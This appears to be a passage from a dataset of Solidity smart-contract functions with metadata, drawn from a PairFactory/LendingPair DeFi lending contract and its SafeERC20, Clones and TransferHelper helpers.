0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); } }
predictDeterministicAddress
function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); }
/** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 2701, 2897 ] }
3,658
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
SafeERC20
library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } }
safeApprove
function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); }
/** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 793, 1414 ] }
3,659
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
SafeERC20
library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } }
_callOptionalReturn
function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } }
/** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 2630, 3351 ] }
3,660
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
TransferHelper
contract TransferHelper { using SafeERC20 for IERC20; // Mainnet IWETH internal constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // Kovan // IWETH internal constant WETH = IWETH(0xd0A1E359811322d97991E03f863a0C30C2cF029C); function _safeTransferFrom(address _token, address _sender, uint _amount) internal virtual { require(_amount > 0, "TransferHelper: amount must be > 0"); IERC20(_token).safeTransferFrom(_sender, address(this), _amount); } function _safeTransfer(address _token, address _recipient, uint _amount) internal virtual { require(_amount > 0, "TransferHelper: amount must be > 0"); IERC20(_token).safeTransfer(_recipient, _amount); } function _wethWithdrawTo(address _to, uint _amount) internal virtual { require(_amount > 0, "TransferHelper: amount must be > 0"); require(_to != address(0), "TransferHelper: invalid recipient"); WETH.withdraw(_amount); (bool success, ) = _to.call { value: _amount }(new bytes(0)); require(success, 'TransferHelper: ETH transfer failed'); } function _depositWeth() internal { require(msg.value > 0, "TransferHelper: amount must be > 0"); WETH.deposit { value: msg.value }(); } }
_safeTransferFrom
function _safeTransferFrom(address _token, address _sender, uint _amount) internal virtual { require(_amount > 0, "TransferHelper: amount must be > 0"); IERC20(_token).safeTransferFrom(_sender, address(this), _amount); }
// Kovan // IWETH internal constant WETH = IWETH(0xd0A1E359811322d97991E03f863a0C30C2cF029C);
LineComment
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 265, 501 ] }
3,661
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
LendingPair
contract LendingPair is TransferHelper, ReentrancyGuard { // Prevents division by zero and other undesirable behaviour uint private constant MIN_RESERVE = 1000; using Address for address; using Clones for address; mapping (address => mapping (address => uint)) public debtOf; mapping (address => mapping (address => uint)) public accountInterestSnapshot; mapping (address => uint) public cumulativeInterestRate; // 100e18 = 100% mapping (address => uint) public totalDebt; mapping (address => IERC20) public lpToken; IController public controller; address public tokenA; address public tokenB; uint public lastBlockAccrued; event Liquidation( address indexed account, address indexed repayToken, address indexed supplyToken, uint repayAmount, uint supplyAmount ); event Deposit(address indexed account, address indexed token, uint amount); event Withdraw(address indexed token, uint amount); event Borrow(address indexed token, uint amount); event Repay(address indexed account, address indexed token, uint amount); receive() external payable {} function initialize( address _lpTokenMaster, address _controller, IERC20 _tokenA, IERC20 _tokenB ) external { require(address(tokenA) == address(0), "LendingPair: already initialized"); require(address(_tokenA) != address(0) && address(_tokenB) != address(0), "LendingPair: cannot be ZERO address"); controller = IController(_controller); tokenA = address(_tokenA); tokenB = address(_tokenB); lastBlockAccrued = block.number; lpToken[tokenA] = _createLpToken(_lpTokenMaster); lpToken[tokenB] = _createLpToken(_lpTokenMaster); } function depositRepay(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _depositRepay(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function depositRepayETH(address _account) external payable nonReentrant { _validateToken(address(WETH)); accrueAccount(_account); _depositRepay(_account, address(WETH), msg.value); _depositWeth(); } function deposit(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _deposit(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function withdrawBorrow(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _withdrawBorrow(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function withdrawBorrowETH(uint _amount) external nonReentrant { _validateToken(address(WETH)); accrueAccount(msg.sender); _withdrawBorrow(address(WETH), _amount); _wethWithdrawTo(msg.sender, _amount); } function withdraw(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _withdraw(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function withdrawAll(address _token) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); uint amount = lpToken[_token].balanceOf(msg.sender); _withdraw(_token, amount); _safeTransfer(_token, msg.sender, amount); } function withdrawAllETH() external nonReentrant { _validateToken(address(WETH)); accrueAccount(msg.sender); uint amount = lpToken[address(WETH)].balanceOf(msg.sender); _withdraw(address(WETH), amount); _wethWithdrawTo(msg.sender, amount); } function borrow(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _borrow(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function repayAll(address _account, address _token) external nonReentrant { _validateToken(_token); _requireAccountNotAccrued(_token, _account); accrueAccount(_account); uint amount = debtOf[_token][_account]; _repay(_account, _token, amount); _safeTransferFrom(_token, msg.sender, amount); } function repayAllETH(address _account) external payable nonReentrant { _validateToken(address(WETH)); _requireAccountNotAccrued(address(WETH), _account); accrueAccount(_account); uint amount = debtOf[address(WETH)][_account]; require(msg.value >= amount, "LendingPair: insufficient ETH deposit"); _depositWeth(); _repay(_account, address(WETH), amount); uint refundAmount = msg.value > amount ? (msg.value - amount) : 0; if (refundAmount > 0) { _wethWithdrawTo(msg.sender, refundAmount); } } function repay(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _repay(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function accrue() public { if (lastBlockAccrued < block.number) { _accrueInterest(tokenA); _accrueInterest(tokenB); lastBlockAccrued = block.number; } } function accrueAccount(address _account) public { _distributeReward(_account); accrue(); _accrueAccountInterest(_account); if (_account != feeRecipient()) { _accrueAccountInterest(feeRecipient()); } } // Sell collateral to reduce debt and increase accountHealth // Set _repayAmount to uint(-1) to repay all debt, inc. pending interest function liquidateAccount( address _account, address _repayToken, uint _repayAmount, uint _minSupplyOutput ) external nonReentrant { // Input validation and adjustments _validateToken(_repayToken); address supplyToken = _repayToken == tokenA ? tokenB : tokenA; // Check account is underwater after interest accrueAccount(_account); uint health = accountHealth(_account); require(health < controller.LIQ_MIN_HEALTH(), "LendingPair: account health < LIQ_MIN_HEALTH"); // Calculate balance adjustments _repayAmount = Math.min(_repayAmount, debtOf[_repayToken][_account]); uint supplyDebt = _convertTokenValues(_repayToken, supplyToken, _repayAmount); uint callerFee = supplyDebt * controller.liqFeeCaller(_repayToken) / 100e18; uint systemFee = supplyDebt * controller.liqFeeSystem(_repayToken) / 100e18; uint supplyBurn = supplyDebt + callerFee + systemFee; uint supplyOutput = supplyDebt + callerFee; require(supplyOutput >= _minSupplyOutput, "LendingPair: supplyOutput >= _minSupplyOutput"); // Adjust balances _burnSupply(supplyToken, _account, supplyBurn); _mintSupply(supplyToken, feeRecipient(), systemFee); _burnDebt(_repayToken, _account, _repayAmount); // Settle token transfers _safeTransferFrom(_repayToken, msg.sender, _repayAmount); _mintSupply(supplyToken, msg.sender, supplyOutput); emit Liquidation(_account, _repayToken, supplyToken, _repayAmount, supplyOutput); } function accountHealth(address _account) public view returns(uint) { if (debtOf[tokenA][_account] == 0 && debtOf[tokenB][_account] == 0) { return controller.LIQ_MIN_HEALTH(); } uint totalAccountSupply = _supplyCredit(_account, tokenA, tokenA) + _supplyCredit(_account, tokenB, tokenA); uint totalAccountBorrow = _borrowBalance(_account, tokenA, tokenA) + _borrowBalance(_account, tokenB, tokenA); return totalAccountSupply * 1e18 / totalAccountBorrow; } // Get borow balance converted to the units of _returnToken function borrowBalance( address _account, address _borrowedToken, address _returnToken ) external view returns(uint) { _validateToken(_borrowedToken); _validateToken(_returnToken); return _borrowBalance(_account, _borrowedToken, _returnToken); } function supplyBalance( address _account, address _suppliedToken, address _returnToken ) external view returns(uint) { _validateToken(_suppliedToken); _validateToken(_returnToken); return _supplyBalance(_account, _suppliedToken, _returnToken); } function supplyRatePerBlock(address _token) external view returns(uint) { _validateToken(_token); return controller.interestRateModel().supplyRatePerBlock(ILendingPair(address(this)), _token); } function borrowRatePerBlock(address _token) external view returns(uint) { _validateToken(_token); return _borrowRatePerBlock(_token); } function pendingSupplyInterest(address _token, address _account) external view returns(uint) { _validateToken(_token); uint newInterest = _newInterest(lpToken[_token].balanceOf(_account), _token, _account); return newInterest * _lpRate(_token) / 100e18; } function pendingBorrowInterest(address _token, address _account) external view returns(uint) { _validateToken(_token); return _pendingBorrowInterest(_token, _account); } function feeRecipient() public view returns(address) { return controller.feeRecipient(); } function checkAccountHealth(address _account) public view { uint health = accountHealth(_account); require(health >= controller.LIQ_MIN_HEALTH(), "LendingPair: insufficient accountHealth"); } function convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) external view returns(uint) { _validateToken(_fromToken); _validateToken(_toToken); return _convertTokenValues(_fromToken, _toToken, _inputAmount); } function _depositRepay(address _account, address _token, uint _amount) internal { uint debt = debtOf[_token][_account]; uint repayAmount = debt > _amount ? _amount : debt; if (repayAmount > 0) { _repay(_account, _token, repayAmount); } uint depositAmount = _amount - repayAmount; if (depositAmount > 0) { _deposit(_account, _token, depositAmount); } } function _withdrawBorrow(address _token, uint _amount) internal { uint supplyAmount = lpToken[_token].balanceOf(msg.sender); uint withdrawAmount = supplyAmount > _amount ? _amount : supplyAmount; if (withdrawAmount > 0) { _withdraw(_token, withdrawAmount); } uint borrowAmount = _amount - withdrawAmount; if (borrowAmount > 0) { _borrow(_token, borrowAmount); } } function _distributeReward(address _account) internal { IRewardDistribution rewardDistribution = controller.rewardDistribution(); if ( address(rewardDistribution) != address(0) && _account != feeRecipient() ) { rewardDistribution.distributeReward(_account, tokenA); rewardDistribution.distributeReward(_account, tokenB); } } function _mintSupply(address _token, address _account, uint _amount) internal { if (_amount > 0) { lpToken[_token].mint(_account, _amount); } } function _burnSupply(address _token, address _account, uint _amount) internal { if (_amount > 0) { lpToken[_token].burn(_account, _amount); } } function _mintDebt(address _token, address _account, uint _amount) internal { debtOf[_token][_account] += _amount; totalDebt[_token] += _amount; } // Origination fee is earned entirely by the protocol and is not split with the LPs // The goal is to prevent free flash loans function _mintDebtWithOriginFee(address _token, address _account, uint _amount) internal { uint originFee = _originationFee(_token, _amount); _mintSupply(_token, feeRecipient(), originFee); _mintDebt(_token, _account, _amount + originFee); } function _burnDebt(address _token, address _account, uint _amount) internal { debtOf[_token][_account] -= _amount; totalDebt[_token] -= _amount; } function _accrueAccountInterest(address _account) internal { uint lpBalanceA = lpToken[tokenA].balanceOf(_account); uint lpBalanceB = lpToken[tokenB].balanceOf(_account); _accrueAccountSupply(tokenA, lpBalanceA, _account); _accrueAccountSupply(tokenB, lpBalanceB, _account); _accrueAccountDebt(tokenA, _account); _accrueAccountDebt(tokenB, _account); accountInterestSnapshot[tokenA][_account] = cumulativeInterestRate[tokenA]; accountInterestSnapshot[tokenB][_account] = cumulativeInterestRate[tokenB]; } function _accrueAccountSupply(address _token, uint _amount, address _account) internal { if (_amount > 0) { uint supplyInterest = _newInterest(_amount, _token, _account); uint newSupplyAccount = supplyInterest * _lpRate(_token) / 100e18; uint newSupplySystem = supplyInterest * _systemRate(_token) / 100e18; _mintSupply(_token, _account, newSupplyAccount); _mintSupply(_token, feeRecipient(), newSupplySystem); } } function _accrueAccountDebt(address _token, address _account) internal { if (debtOf[_token][_account] > 0) { uint newDebt = _pendingBorrowInterest(_token, _account); _mintDebt(_token, _account, newDebt); } } function _withdraw(address _token, uint _amount) internal { lpToken[_token].burn(msg.sender, _amount); checkAccountHealth(msg.sender); emit Withdraw(_token, _amount); } function _borrow(address _token, uint _amount) internal { require(lpToken[_token].balanceOf(msg.sender) == 0, "LendingPair: cannot borrow supplied token"); _mintDebtWithOriginFee(_token, msg.sender, _amount); _checkBorrowLimits(_token, msg.sender); checkAccountHealth(msg.sender); emit Borrow(_token, _amount); } function _repay(address _account, address _token, uint _amount) internal { _burnDebt(_token, _account, _amount); emit Repay(_account, _token, _amount); } function _deposit(address _account, address _token, uint _amount) internal { _checkOracleSupport(tokenA); _checkOracleSupport(tokenB); require(debtOf[_token][_account] == 0, "LendingPair: cannot deposit borrowed token"); _mintSupply(_token, _account, _amount); _checkDepositLimit(_token); emit Deposit(_account, _token, _amount); } function _accrueInterest(address _token) internal { cumulativeInterestRate[_token] += _pendingInterestRate(_token); } function _pendingInterestRate(address _token) internal view returns(uint) { uint blocksElapsed = block.number - lastBlockAccrued; return _borrowRatePerBlock(_token) * blocksElapsed; } function _createLpToken(address _lpTokenMaster) internal returns(IERC20) { ILPTokenMaster newLPToken = ILPTokenMaster(_lpTokenMaster.clone()); newLPToken.initialize(); return IERC20(newLPToken); } function _safeTransfer(address _token, address _recipient, uint _amount) internal override { TransferHelper._safeTransfer(_token, _recipient, _amount); _checkMinReserve(address(_token)); } function _wethWithdrawTo(address _to, uint _amount) internal override { TransferHelper._wethWithdrawTo(_to, _amount); _checkMinReserve(address(WETH)); } function _borrowRatePerBlock(address _token) internal view returns(uint) { return controller.interestRateModel().borrowRatePerBlock(ILendingPair(address(this)), _token); } function _pendingBorrowInterest(address _token, address _account) internal view returns(uint) { return _newInterest(debtOf[_token][_account], _token, _account); } function _borrowBalance( address _account, address _borrowedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_borrowedToken, _returnToken, debtOf[_borrowedToken][_account]); } // Get supply balance converted to the units of _returnToken function _supplyBalance( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _convertTokenValues(_suppliedToken, _returnToken, lpToken[_suppliedToken].balanceOf(_account)); } function _supplyCredit( address _account, address _suppliedToken, address _returnToken ) internal view returns(uint) { return _supplyBalance(_account, _suppliedToken, _returnToken) * controller.colFactor(_suppliedToken) / 100e18; } function _convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) internal view returns(uint) { uint priceFrom = controller.tokenPrice(_fromToken) * 1e18 / 10 ** IERC20(_fromToken).decimals(); uint priceTo = controller.tokenPrice(_toToken) * 1e18 / 10 ** IERC20(_toToken).decimals(); return _inputAmount * priceFrom / priceTo; } function _validateToken(address _token) internal view { require(_token == tokenA || _token == tokenB, "LendingPair: invalid token"); } function _checkOracleSupport(address _token) internal view { require(controller.tokenSupported(_token), "LendingPair: token not supported"); } function _checkMinReserve(address _token) internal view { require(IERC20(_token).balanceOf(address(this)) >= MIN_RESERVE, "LendingPair: below MIN_RESERVE"); } function _checkDepositLimit(address _token) internal view { require(controller.depositsEnabled(), "LendingPair: deposits disabled"); uint depositLimit = controller.depositLimit(address(this), _token); if (depositLimit > 0) { require((lpToken[_token].totalSupply()) <= depositLimit, "LendingPair: deposit limit reached"); } } function _checkBorrowLimits(address _token, address _account) internal view { require(controller.borrowingEnabled(), "LendingPair: borrowing disabled"); uint accountBorrowUSD = debtOf[_token][_account] * controller.tokenPrice(_token) / 1e18; require(accountBorrowUSD >= controller.minBorrowUSD(), "LendingPair: borrow amount below minimum"); uint borrowLimit = controller.borrowLimit(address(this), _token); if (borrowLimit > 0) { require(totalDebt[_token] <= borrowLimit, "LendingPair: borrow limit reached"); } } function _originationFee(address _token, uint _amount) internal view returns(uint) { return _amount * controller.originFee(_token) / 100e18; } function _systemRate(address _token) internal view returns(uint) { return controller.interestRateModel().systemRate(ILendingPair(address(this)), _token); } function _lpRate(address _token) internal view returns(uint) { return 100e18 - _systemRate(_token); } function _newInterest(uint _balance, address _token, address _account) internal view returns(uint) { uint currentCumulativeRate = cumulativeInterestRate[_token] + _pendingInterestRate(_token); return _balance * (currentCumulativeRate - accountInterestSnapshot[_token][_account]) / 100e18; } // Used in repayAll and repayAllETH to prevent front-running // Potential attack: // Recipient account watches the mempool and takes out a large loan just before someone calls repayAll. // As a result, paying account would end up paying much more than anticipated function _requireAccountNotAccrued(address _token, address _account) internal view { if (lastBlockAccrued == block.number && cumulativeInterestRate[_token] > 0) { require( cumulativeInterestRate[_token] > accountInterestSnapshot[_token][_account], "LendingPair: account already accrued" ); } } }
liquidateAccount
function liquidateAccount( address _account, address _repayToken, uint _repayAmount, uint _minSupplyOutput ) external nonReentrant { // Input validation and adjustments _validateToken(_repayToken); address supplyToken = _repayToken == tokenA ? tokenB : tokenA; // Check account is underwater after interest accrueAccount(_account); uint health = accountHealth(_account); require(health < controller.LIQ_MIN_HEALTH(), "LendingPair: account health < LIQ_MIN_HEALTH"); // Calculate balance adjustments _repayAmount = Math.min(_repayAmount, debtOf[_repayToken][_account]); uint supplyDebt = _convertTokenValues(_repayToken, supplyToken, _repayAmount); uint callerFee = supplyDebt * controller.liqFeeCaller(_repayToken) / 100e18; uint systemFee = supplyDebt * controller.liqFeeSystem(_repayToken) / 100e18; uint supplyBurn = supplyDebt + callerFee + systemFee; uint supplyOutput = supplyDebt + callerFee; require(supplyOutput >= _minSupplyOutput, "LendingPair: supplyOutput >= _minSupplyOutput"); // Adjust balances _burnSupply(supplyToken, _account, supplyBurn); _mintSupply(supplyToken, feeRecipient(), systemFee); _burnDebt(_repayToken, _account, _repayAmount); // Settle token transfers _safeTransferFrom(_repayToken, msg.sender, _repayAmount); _mintSupply(supplyToken, msg.sender, supplyOutput); emit Liquidation(_account, _repayToken, supplyToken, _repayAmount, supplyOutput); }
// Sell collateral to reduce debt and increase accountHealth // Set _repayAmount to uint(-1) to repay all debt, inc. pending interest
LineComment
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 5694, 7259 ] }
3,662
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
LendingPair
contract LendingPair is TransferHelper, ReentrancyGuard { // Prevents division by zero and other undesirable behaviour uint private constant MIN_RESERVE = 1000; using Address for address; using Clones for address; mapping (address => mapping (address => uint)) public debtOf; mapping (address => mapping (address => uint)) public accountInterestSnapshot; mapping (address => uint) public cumulativeInterestRate; // 100e18 = 100% mapping (address => uint) public totalDebt; mapping (address => IERC20) public lpToken; IController public controller; address public tokenA; address public tokenB; uint public lastBlockAccrued; event Liquidation( address indexed account, address indexed repayToken, address indexed supplyToken, uint repayAmount, uint supplyAmount ); event Deposit(address indexed account, address indexed token, uint amount); event Withdraw(address indexed token, uint amount); event Borrow(address indexed token, uint amount); event Repay(address indexed account, address indexed token, uint amount); receive() external payable {} function initialize( address _lpTokenMaster, address _controller, IERC20 _tokenA, IERC20 _tokenB ) external { require(address(tokenA) == address(0), "LendingPair: already initialized"); require(address(_tokenA) != address(0) && address(_tokenB) != address(0), "LendingPair: cannot be ZERO address"); controller = IController(_controller); tokenA = address(_tokenA); tokenB = address(_tokenB); lastBlockAccrued = block.number; lpToken[tokenA] = _createLpToken(_lpTokenMaster); lpToken[tokenB] = _createLpToken(_lpTokenMaster); } function depositRepay(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _depositRepay(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function depositRepayETH(address _account) external payable nonReentrant { _validateToken(address(WETH)); accrueAccount(_account); _depositRepay(_account, address(WETH), msg.value); _depositWeth(); } function deposit(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _deposit(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function withdrawBorrow(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _withdrawBorrow(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function withdrawBorrowETH(uint _amount) external nonReentrant { _validateToken(address(WETH)); accrueAccount(msg.sender); _withdrawBorrow(address(WETH), _amount); _wethWithdrawTo(msg.sender, _amount); } function withdraw(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _withdraw(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function withdrawAll(address _token) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); uint amount = lpToken[_token].balanceOf(msg.sender); _withdraw(_token, amount); _safeTransfer(_token, msg.sender, amount); } function withdrawAllETH() external nonReentrant { _validateToken(address(WETH)); accrueAccount(msg.sender); uint amount = lpToken[address(WETH)].balanceOf(msg.sender); _withdraw(address(WETH), amount); _wethWithdrawTo(msg.sender, amount); } function borrow(address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(msg.sender); _borrow(_token, _amount); _safeTransfer(_token, msg.sender, _amount); } function repayAll(address _account, address _token) external nonReentrant { _validateToken(_token); _requireAccountNotAccrued(_token, _account); accrueAccount(_account); uint amount = debtOf[_token][_account]; _repay(_account, _token, amount); _safeTransferFrom(_token, msg.sender, amount); } function repayAllETH(address _account) external payable nonReentrant { _validateToken(address(WETH)); _requireAccountNotAccrued(address(WETH), _account); accrueAccount(_account); uint amount = debtOf[address(WETH)][_account]; require(msg.value >= amount, "LendingPair: insufficient ETH deposit"); _depositWeth(); _repay(_account, address(WETH), amount); uint refundAmount = msg.value > amount ? (msg.value - amount) : 0; if (refundAmount > 0) { _wethWithdrawTo(msg.sender, refundAmount); } } function repay(address _account, address _token, uint _amount) external nonReentrant { _validateToken(_token); accrueAccount(_account); _repay(_account, _token, _amount); _safeTransferFrom(_token, msg.sender, _amount); } function accrue() public { if (lastBlockAccrued < block.number) { _accrueInterest(tokenA); _accrueInterest(tokenB); lastBlockAccrued = block.number; } } function accrueAccount(address _account) public { _distributeReward(_account); accrue(); _accrueAccountInterest(_account); if (_account != feeRecipient()) { _accrueAccountInterest(feeRecipient()); } } // Sell collateral to reduce debt and increase accountHealth // Set _repayAmount to uint(-1) to repay all debt, inc. pending interest function liquidateAccount( address _account, address _repayToken, uint _repayAmount, uint _minSupplyOutput ) external nonReentrant { // Input validation and adjustments _validateToken(_repayToken); address supplyToken = _repayToken == tokenA ? tokenB : tokenA; // Check account is underwater after interest accrueAccount(_account); uint health = accountHealth(_account); require(health < controller.LIQ_MIN_HEALTH(), "LendingPair: account health < LIQ_MIN_HEALTH"); // Calculate balance adjustments _repayAmount = Math.min(_repayAmount, debtOf[_repayToken][_account]); uint supplyDebt = _convertTokenValues(_repayToken, supplyToken, _repayAmount); uint callerFee = supplyDebt * controller.liqFeeCaller(_repayToken) / 100e18; uint systemFee = supplyDebt * controller.liqFeeSystem(_repayToken) / 100e18; uint supplyBurn = supplyDebt + callerFee + systemFee; uint supplyOutput = supplyDebt + callerFee; require(supplyOutput >= _minSupplyOutput, "LendingPair: supplyOutput >= _minSupplyOutput"); // Adjust balances _burnSupply(supplyToken, _account, supplyBurn); _mintSupply(supplyToken, feeRecipient(), systemFee); _burnDebt(_repayToken, _account, _repayAmount); // Settle token transfers _safeTransferFrom(_repayToken, msg.sender, _repayAmount); _mintSupply(supplyToken, msg.sender, supplyOutput); emit 